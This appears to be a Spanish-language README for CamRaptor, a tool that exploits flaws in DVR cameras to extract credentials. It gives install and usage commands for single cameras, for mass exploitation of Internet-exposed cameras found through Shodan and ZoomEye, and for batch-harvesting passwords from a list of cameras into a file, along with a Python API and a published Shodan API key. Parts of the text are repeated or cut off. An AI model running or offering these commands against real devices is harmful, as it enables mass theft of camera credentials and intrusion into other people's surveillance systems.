
CamRaptor es una herramienta que explota varias vulnerabilidades en cámaras DVR populares para obtener credenciales de cámara de red.
CamRaptor es una herramienta que explota varias vulnerabilidades en cámaras DVR populares para obtener credenciales de cámaras de red.
Novo, CeNova y QSee.pip3 install git+https://github.com/EntySec/CamRaptor
Para usar CamRaptor solo escribe camraptor en tu terminal.
usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]
CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.
optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
Explotando una sola cámara
Vamos a hackear mi cámara solo por diversión.
camraptor -a 192.168.99.100
Explotando cámaras desde Internet
Probemos a usar el motor de búsqueda Shodan para explotar cámaras a través de Internet, lo usaremos con -t para una explotación rápida.
camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
NOTA: La clave API de Shodan proporcionada (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) es mi clave PRO, puedes usar esta clave o la tuya propia, siéntete libre de usar todos nuestros recursos gratuitamente :)
Explotando cámaras desde un archivo de entrada
Probemos a usar una base de datos abierta de cámaras con -t para una explotación rápida.
camraptor -t -i cameras.txt -o passwords.txt
NOTA: Explotará todas las cámaras en la lista cameras.txt por sus direcciones y guardará todas las contraseñas obtenidas en passwords.txt.
CamRaptor también tiene su propia API de Python que se puede invocar importando CamRaptor a tu código.
from camraptor import CamRaptor
Estas son todas las funciones básicas de CamRaptor que se pueden usar para explotar una cámara especificada.
exploit(address) - Explota una sola cámara dada una dirección.Explotando una sola cámara
from camraptor import CamRaptor
camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')
print(creds)